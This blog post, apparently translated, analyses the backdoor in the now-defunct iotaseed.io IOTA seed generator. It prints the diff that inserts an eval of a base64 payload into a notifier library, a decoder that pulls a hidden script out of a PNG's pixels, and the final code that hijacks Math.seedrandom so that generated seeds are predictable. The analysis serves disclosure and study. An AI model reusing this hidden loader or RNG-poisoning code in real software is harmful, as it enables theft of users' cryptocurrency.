Introduction that doesn’t know what to say
In 1982, Mr. Xu Qibin, known as the contemporary Jiao Yulu, shouted the slogan “If you want to get rich, build roads first” in Meishan, Sichuan, which deeply impressed us. Outdated transportation hinders the process of converting local resource advantages into economic advantages, and outdated transportation limits local economic development. Transportation brings convenience to logistics and cultural exchanges while also bringing tangible income to local finances; this entrance is the toll station.
Friends who have played with credit cards should know that in the credit card community, those who take advantage of rewards are called big players, and these people spend tens of thousands each month? Do they hang out with young models every day? So how do these big players exploit the bank’s rewards? Most bank activities are designed based on cardholders’ spending limits, and the spending scenarios are nothing more than online consumption such as Alipay, WeChat Pay, UnionPay online, and offline merchants using POS machines.
Merchants use POS machines obtained from acquiring institutions to swipe cards for customers, then print receipts and take the receipts to settle with the acquiring institution, which charges a fee based on the contract signed with the merchant. Here we can consider the flow of consumption as a highway, so it’s not hard to understand why the acquiring institutions behind the POS machines are likened to toll stations.
After tricking you out of 400 words of manuscript fees, we officially introduce the topic of this article.
A recent article from Ars Technica about a blockchain currency theft case tells how iotaseed.io (which has now shut down) stole $4 million worth of IOTA coins from user wallets by generating malicious seed addresses. The article did not analyze the related code but simply made us aware of such a trick.
Finding the Code
Since iotaseed.io has ceased operations, fortunately, we found the historical page of the site.
At the bottom of the page, we found a link to a GitHub repository, which emphasized using the services provided by the site rather than letting users download the code directly from GitHub. The reason given was also quite sufficient: “The repository contains new code that has not been fully tested.”
Could it be that scripts not present in the repository were added to the actual site? If this assumption holds, it can explain why the stolen users mentioned iotaseed.io instead of the GitHub repository.
However, the repository address provided by the site has been deleted, and the owner who created that repository, norbertvdberg, has also canceled his account. Attempts to read or download the code through the historical pages provided by archive.org show that the page is not archived. The code repository had 8 forks, and from the GitHub user manual, we learned that even if the project is deleted, the previously forked branches will be preserved! We still have hope of seeing samples.
Based on a commit message displayed on the original repository’s historical page, I searched on GitHub.
eggdroid/eggseed3 seems to have forked the original repository’s code, corresponding to the 26 commits submitted by the original repository author norbertvdberg.
At this point, gathering two samples can summon the dragon.
Analyzing the Code
This Seed address generator consists of multiple different JavaScript scripts, which we merged into a file named all.js, then compressed it into all.mini.js, which is actually the file provided by the webpage. We compared the all.mini.js retrieved from the historical page with the all.mini.js sample obtained from GitHub.
$ shasum all-website.mini.js all-github.mini.js
3d48933698d8cf1d1673067d782595c12c815424 all-website.mini.js
3d48933698d8cf1d1673067d782595c12c815424 all-github.mini.js
The two files are identical, so it’s time to dive into the code. I noticed that once the Seed address is generated, a Web Worker object is called to generate a QR code and the Seed address information. This Worker object comes from a separate file all-wallet.mini.js. Does this file hide the ugly PY transactions? We shall see.
By comparing the two all-wallet.mini.js file samples, we preliminarily confirmed that the two samples are indeed different. With a pounding heart, I organized the two samples using js-beautify and used the diff command to confirm where the problem lies.
$ diff all-wallet-website.js all-wallet-github.js
1313c1313
< t = t || {}, this.version = e(“../package.json”).version, this.host = t.host ? t.host : “http://web.archive.org/web/20180120222030/http://localhost/”, this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, “”) + “:” + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, “”), this.provider = this.sandbox + “/commands”), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e(“./utils/inputValidator”), this.multisig = new s(this._makeRequest)
—
> t = t || {}, this.version = e(“../package.json”).version, this.host = t.host ? t.host : “http://localhost”, this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, “”) + “:” + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, “”), this.provider = this.sandbox + “/commands”), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e(“./utils/inputValidator”), this.multisig = new s(this._makeRequest)
1713c1713
< this.provider = e || “http://web.archive.org/web/20180120222030/http://localhost:14265/”, this.token = t
—
> this.provider = e || “http://localhost:14265”, this.token = t
1718c1718
< this.provider = e || “http://web.archive.org/web/20180120222030/http://localhost:14265/”
—
> this.provider = e || “http://localhost:14265”
6435c6435
< website: “http://web.archive.org/web/20180120222030/https://iota.org/”
—
> website: “https://iota.org”
6440c6440
< url: “http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js/issues”
—
> url: “https://github.com/iotaledger/iota.lib.js/issues”
6444c6444
< url: “http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js.git”
—
> url: “https://github.com/iotaledger/iota.lib.js.git”
However, the only difference between the two samples is that the sample retrieved from the time machine has rewritten resources and the URLs point to web.archive.org. From the perspective of the Seed address generation function, the two samples seem to be identical.
After that, I looked at the index.html page and found that the page also loaded a JavaScript file, a notification library. After downloading, comparing the time machine version with the GitHub version, we indeed found clues.
$ diff notifier-website.js notifier-github.js
68,71d67
< if (!window.inited_n) {
< window.inited_n = true;
< Notifier.init()
< }
82,87d77
< if (/,T/.test(image)) {
< if (/ps:.*o/.test(document.location)) {
< eval(atob(image.split(“,”)[2]))
< }
< return
< }
119,121d108
< init: function(message, title) {
< this.notify(message, title, “data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==”)
< },
To hide the author’s good intentions, who can understand? The Notifier.notify method has been modified to check whether the image parameter contains “,T”, parsing part of the code into JavaScript and making a judgment. Another modification is that when the page loads, it increases the call to the Notifier.init() method, invoking the notify method that contains the image parameter to trigger the execution of that code.
Executing eval(atob(image.split(“,”)[2])) will reveal the following code snippet:
function cDis(f) {
var o = document.createElement(“canvas”).getContext(“2d”);
var i = new Image;
i.onload = function() {
o.drawImage(i, 0, 0);
dS(o.getImageData(0, 0, 298, 100).data)
};
i.src = f
}
function dS(d) {
var l = 21,
bM = “”,
tM = “”;
for (var i = 0; i < l; i++) {
var b = (d[i * 4 + 2] >>> 0).toString(2);
bM += b[b.length – 1];
if (bM.length == 16) {
l = parseInt(bM, 2) + 16;
bM = “”
} else if (bM.length == 8 && l != 21) {
tM += String.fromCharCode(parseInt(bM, 2));
bM = “”
}
}
eval(tM)
}
cDis(“./images/logo_small_bottom.png”);
The second phase of the malicious code places ./images/logo_small_bottom.png in a way we cannot see.
if (/ps:.*\.io/.test(document.location)) {
mode = “M”;
(function(message) {
var name = “edr”;
name += “an”;
message[“cont”] = 0;
name += “dom”;
function show(arg, options, image) {
message[“e2” + name](“4782588875512803642” + String(message[“cont”]), options, image);
message[“cont”] += 1
}
message[“e2” + name] = message[“se” + name];
message[“se” + name] = show
})(eval(mode + “ath”))
}
This is the final stage of the JavaScript backdoor; let’s simplify it:
Math.cont = 0;
function show(arg, options, image) {
Math.e2edrandom(“4782588875512803642” + String(Math.cont), options, image);
Math.cont += 1;
}
Math.e2edrandom = Math.seedrandom;
Math.seedrandom = show;
The code modifies the Math.seedrandom function used to generate codes, using a fixed number 4782588875512803642 plus a count variable seedrandom, which causes Math.random() to return the same data each time, resulting in a predictable series of numbers, ultimately generating the same IOTA Seed addresses. This explains why you get the same Seed address every time you open the archive of iotaseed.io:
XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD
Even if you change computers, the result is the same.
Another thing to note is that the RNG obtained by each user (“4782588875512803642” is obtained from the historical sample) is not the same. By comparing October 31st and November 19th, it was found that this number changes over time. This means that ./images/logo_small_bottom.png is dynamically generated by the iotaseed.io server. After creating this PNG file, the number used to modify the random function will also change (or be stored elsewhere, anyway, it needs to utilize the attacker to steal IOTA), it seems that the site indeed generates different Seed addresses for different users. This demo shows how the code changes.
According to the IOTA official JavaScript library, we know that the Seed address mentioned earlier (XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD) corresponds to the wallet address PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX. From the iotabalance.com website, we learned this is an empty wallet, however querying this wallet address from similar websites returns a 404 error, like this example.
Conclusion
Recalling the method of placing the backdoor, if you insist on saying this was an unintentional mistake, then I have no choice. Now we are unclear whether these codes were created by norbertvdberg or other attackers. However, from the owner’s subsequent deletion of GitHub, Reddit, and Quora accounts, it seems they cannot escape the relationship.
The backdoor is indeed well hidden; it is hard to find clues just by glancing at it through the browser’s developer tools.
So still, as they say, if you want to get rich, build roads first!
Reference source GitHub, with some modifications to the original text…
Leave a Comment
Your email address will not be published. Required fields are marked *